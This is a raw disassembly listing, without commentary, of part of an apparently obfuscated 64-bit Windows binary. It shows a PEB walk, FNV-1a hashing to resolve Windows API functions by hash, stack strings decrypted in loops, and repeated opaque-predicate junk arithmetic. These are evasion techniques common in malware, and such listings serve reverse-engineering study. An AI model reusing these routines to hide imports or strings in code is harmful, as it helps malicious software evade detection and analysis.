call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003da0a
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003da0a
mov ebx, 7
jmp 0x14003daa5
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003da9e
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14003daa5
mov ebx, dword [rsp + 0x167c]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140040bae
mov r10, qword [0x14007d1b0]
test r10, r10
jne 0x14003dccb
mov edi, r14d
mov r11d, 0xcc79b9c7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r10, r13
movups xmm0, xmmword [r10 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14003db7f
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0xcf0289b
cmp rcx, r8
je 0x14003db77
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x14003db60
cmp edx, edi
jne 0x14003dc9e
mov r9, qword [r10 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov esi, ecx
add rsi, r9
cmp rsi, r9
je 0x14003dc9e
mov r8d, dword [rsi + 0x18]
test r8d, r8d
je 0x14003dc9e
mov r15d, dword [rsi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r15]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0xcf0289b
test al, al
je 0x14003dc09
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14003dbf0
cmp ecx, r11d
je 0x14003dc18
test r8d, r8d
jne 0x14003dbc0
jmp 0x14003dc9e
mov ecx, dword [rsi + 0x1c]
add rcx, r9
mov eax, dword [rsi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
cmp r10, rsi
jbe 0x14003dc42
lea rax, [r12 + rsi]
cmp r10, rax
jae 0x14003dc42
mov al, 1
jmp 0x14003dc44
xor al, al
test al, al
je 0x14003dfdc
mov edi, 0xcf0289b
mov r11d, edi
movzx eax, byte [r10]
cmp al, 0x2e
je 0x14003dc76
nop dword [rax]
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14003dc60
inc r10
movzx eax, byte [r10]
cmp al, 0
je 0x14003dc9a
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x14003dc81
mov r10, qword [r13]
mov rax, qword [r10]
mov r10, rax
cmp rax, r13
je 0x14003dcb4
cmp qword [rax + 0x30], 0
je 0x14003dcb4
mov al, 1
jmp 0x14003dcb6
xor al, al
test al, al
jne 0x14003db20
xor r14d, r14d
mov r10d, r14d
mov qword [0x14007d1b0], r10
mov byte [rsp + 0x8c0], 0x36
mov byte [rsp + 0x8c1], 0x35
mov byte [rsp + 0x8c2], 0x34
mov byte [rsp + 0x8c3], 0x33
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x8c4], xmm0
mov qword [rsp + 0x8d4], rax
mov word [rsp + 0x8dc], ax
mov byte [rsp + 0x8de], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x1f
jae 0x14003dd77
movabs r8, 0x27e9ccda81fa5629
nop dword [rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x8c0]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x1f
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x8c0], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1f
jb 0x14003dd30
mov r11d, dword [rsp + 0x8c0]
mov byte [rsp + 0xfe0], 0xeb
mov byte [rsp + 0xfe1], 0x59
mov byte [rsp + 0xfe2], 0xd4
mov byte [rsp + 0xfe3], 0x5b
mov byte [rsp + 0xfe4], 0xf7
mov byte [rsp + 0xfe5], 0x55
mov byte [rsp + 0xfe6], 0xee
mov byte [rsp + 0xfe7], 0x57
mov byte [rsp + 0xfe8], 0xe7
mov byte [rsp + 0xfe9], 0x51
mov byte [rsp + 0xfea], 0xe1
mov byte [rsp + 0xfeb], 0x53
mov byte [rsp + 0xfec], 0x20
mov byte [rsp + 0xfed], 0xad
mov byte [rsp + 0xfee], 0xd8
mov byte [rsp + 0xfef], 0xaf
mov byte [rsp + 0xff0], 0x15
mov byte [rsp + 0xff1], 0xa9
mov byte [rsp + 0xff2], 0x22
mov byte [rsp + 0xff3], 0xab
mov byte [rsp + 0xff4], 0x19
mov byte [rsp + 0xff5], 0xa5
mov byte [rsp + 0xff6], 0xa6
mov byte [rsp + 0xff7], 0xa7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xff8], xmm0
mov word [rsp + 0x1008], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x2a
jae 0x14003deb7
movabs r8, 0x9e165dcd434b3874
nop
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xfe0]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x2c
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xfe0], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x2a
jb 0x14003de70
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov edx, r11d
lea rcx, [rsp + 0xfe0]
call r10
mov r15, rax
mov qword [rsp + 0x50], rax
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
mov eax, ebx
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003e311
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r14
test r15, r15
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003dfe4
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003dfe4
mov ebx, 7
jmp 0x14003e07f
xor r14d, r14d
jmp 0x14003dcc4
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003e078
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si ebx, xmm0
jmp 0x14003e07f
mov ebx, dword [rsp + 0x167c]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003e311
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003e1bf
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003e1bf
mov eax, 7
jmp 0x14003e25a
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003e253
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si eax, xmm0
jmp 0x14003e25a
mov eax, dword [rsp + 0x167c]
cmp r14d, eax
jge 0x14003e311
mov byte [rsp + 0x8e0], 0xc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x8e1], xmm0
mov dword [rsp + 0x8f1], eax
mov word [rsp + 0x8f5], ax
mov byte [rsp + 0x8f7], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x18
jae 0x14003e2f7
movabs r8, 0xa4b219f37dc2ae56
nop dword [rax + rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x8e0]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x5a
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x8e0], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x18
jb 0x14003e2b0
lea rdx, [rsp + 0x8e0]
lea rcx, [rsp + 0x1b08]
call fcn.140001d00
jmp 0x140040ba3
mov byte [rsp + 0x920], 0x96
mov byte [rsp + 0x921], 0x91
mov byte [rsp + 0x922], 0x90
mov byte [rsp + 0x923], 0x93
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x924], xmm0
mov dword [rsp + 0x934], eax
mov qword [rsp + 0x58], r14
mov rax, qword [rsp + 0x58]
cmp rax, 0x18
jae 0x14003e3a7
movabs r8, 0xf857565fe00a8f13
nop
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
movzx ebx, byte [rsp + rax + 0x920]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x7b
add bl, dl
mov rax, qword [rsp + 0x58]
mov byte [rsp + rax + 0x920], bl
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x18
jb 0x14003e360
mov eax, dword [rsp + 0x920]
mov dword [rsp + 0x70], eax
mov byte [rsp + 0x940], 0xeb
mov byte [rsp + 0x941], 0xba
mov byte [rsp + 0x942], 0xb8
mov byte [rsp + 0x943], 0xbb
xor eax, eax
mov qword [rsp + 0x944], rax
mov dword [rsp + 0x94c], eax
mov byte [rsp + 0x950], al
mov qword [rsp + 0x58], r14
mov rax, qword [rsp + 0x58]
cmp rax, 0x11
jae 0x14003e44b
movabs r8, 0x416e824fef0fb3c7
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
movzx ebx, byte [rsp + rax + 0x940]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x71
add bl, dl
mov rax, qword [rsp + 0x58]
mov byte [rsp + rax + 0x940], bl
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x11
jb 0x14003e404
mov eax, dword [rsp + 0x940]
mov dword [rsp + 0x64], eax
mov byte [rsp + 0x1010], 0x95
mov byte [rsp + 0x1011], 0x39
mov byte [rsp + 0x1012], 0x88
mov byte [rsp + 0x1013], 0x3b
mov byte [rsp + 0x1014], 0x91
mov byte [rsp + 0x1015], 0x3d
mov byte [rsp + 0x1016], 0xd2
mov byte [rsp + 0x1017], 0x3f
mov byte [rsp + 0x1018], 0x95
mov byte [rsp + 0x1019], 1
mov byte [rsp + 0x101a], 0xb0
mov byte [rsp + 0x101b], 3
mov byte [rsp + 0x101c], 0xa9
mov byte [rsp + 0x101d], 5
mov byte [rsp + 0x101e], 0xa2
mov byte [rsp + 0x101f], 7
mov byte [rsp + 0x1020], 0xbd
mov byte [rsp + 0x1021], 9
mov byte [rsp + 0x1022], 0xe6
mov byte [rsp + 0x1023], 0xb
mov byte [rsp + 0x1024], 0xbb
mov byte [rsp + 0x1025], 0xd
mov byte [rsp + 0x1026], 0xbe
mov byte [rsp + 0x1027], 0xf
mov byte [rsp + 0x1028], 0xa7
mov byte [rsp + 0x1029], 0x11
mov byte [rsp + 0x102a], 0x10
mov byte [rsp + 0x102b], 0x13
xor eax, eax
mov qword [rsp + 0x102c], rax
mov qword [rsp + 0x58], r14
mov rax, qword [rsp + 0x58]
cmp rax, 0x24
jae 0x14003e5a7
movabs r8, 0xb0904b555980b7d7
nop word [rax + rax]
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
movzx ebx, byte [rsp + rax + 0x1010]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x1f
add bl, dl
mov rax, qword [rsp + 0x58]
mov byte [rsp + rax + 0x1010], bl
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x24
jb 0x14003e560
mov rbx, qword [0x14007d280]
test rbx, rbx
jne 0x14003e78f
mov r11d, r14d
mov r10d, 0xef420afe
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14003e640
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x1c0c291e
cmp rcx, r8
je 0x14003e637
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x14003e620
cmp edx, r11d
jne 0x14003e75d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14003e75d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14003e75d
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r15 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x1c0c291e
test al, al
je 0x14003e6c9
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14003e6b0
cmp ecx, r10d
je 0x14003e6d8
test r8d, r8d
jne 0x14003e680
jmp 0x14003e75d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
cmp rbx, rdi
jbe 0x14003e701
lea rax, [rdi + r12]
cmp rbx, rax
jae 0x14003e701
mov al, 1
jmp 0x14003e703
xor al, al
test al, al
je 0x14003e8b9
mov r11d, 0x1c0c291e
mov r10d, r11d
movzx eax, byte [rbx]
cmp al, 0x2e
je 0x14003e737
nop dword [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rbx
movzx eax, byte [rbx]
cmp al, 0x2e
jne 0x14003e720
inc rbx
movzx eax, byte [rbx]
cmp al, 0
je 0x14003e759
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rbx, [rbx + 1]
movzx eax, byte [rbx]
test al, al
jne 0x14003e741
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x14003e773
cmp qword [rax + 0x30], 0
je 0x14003e773
mov al, 1
jmp 0x14003e775
xor al, al
test al, al
jne 0x14003e5e0
xor r14d, r14d
mov ebx, r14d
mov qword [0x14007d280], rbx
mov r15, qword [rsp + 0x50]
mov r9d, dword [rsp + 0x70]
movzx r8d, word [rsp + 0x64]
lea rdx, [rsp + 0x1010]
mov rcx, r15
call rbx
mov r13, rax
mov qword [rsp + 0x58], rax
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003ede1
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r14
test r13, r13
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x88], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003e8c1
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003e8c1
mov ebx, 7
jmp 0x14003e95c
xor r14d, r14d
jmp 0x14003e783
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003e958
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x88]
cvttsd2si ebx, xmm0
jmp 0x14003e95c
mov ebx, dword [rsp + 0x64]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003ede1
mov rdx, qword [0x14007d220]
test rdx, rdx
jne 0x14003eb94
mov r11d, r14d
mov r10d, 0x3f1e05f
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14003ea40
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0xa77bf04b
cmp rcx, r8
je 0x14003ea37
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x14003ea20
cmp edx, r11d
jne 0x14003eb5d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14003eb5d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14003eb5d
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r15 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0xa77bf04b
test al, al
je 0x14003eac9
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14003eab0
cmp ecx, r10d
je 0x14003ead8
test r8d, r8d
jne 0x14003ea80
jmp 0x14003eb5d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, rdi
jbe 0x14003eb01
lea rax, [r12 + rdi]
cmp rdx, rax
jae 0x14003eb01
mov al, 1
jmp 0x14003eb03
xor al, al
test al, al
je 0x14003ec92
mov r11d, 0xa77bf04b
mov r10d, r11d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x14003eb37
nop dword [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14003eb20
inc rdx
movzx eax, byte [rdx]
cmp al, 0
je 0x14003eb59
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x14003eb41
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x14003eb73
cmp qword [rax + 0x30], 0
je 0x14003eb73
mov al, 1
jmp 0x14003eb75
xor al, al
test al, al
jne 0x14003e9e0
xor r14d, r14d
mov edx, r14d
mov qword [0x14007d220], rdx
mov r13, qword [rsp + 0x58]
mov r15, qword [rsp + 0x50]
mov rcx, r15
call rdx
call fcn.140003750
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx r8d, al
imul ebx, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*2]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x88], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003ec9a
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003ec9a
mov eax, 7
jmp 0x14003ed35
xor r14d, r14d
jmp 0x14003eb83
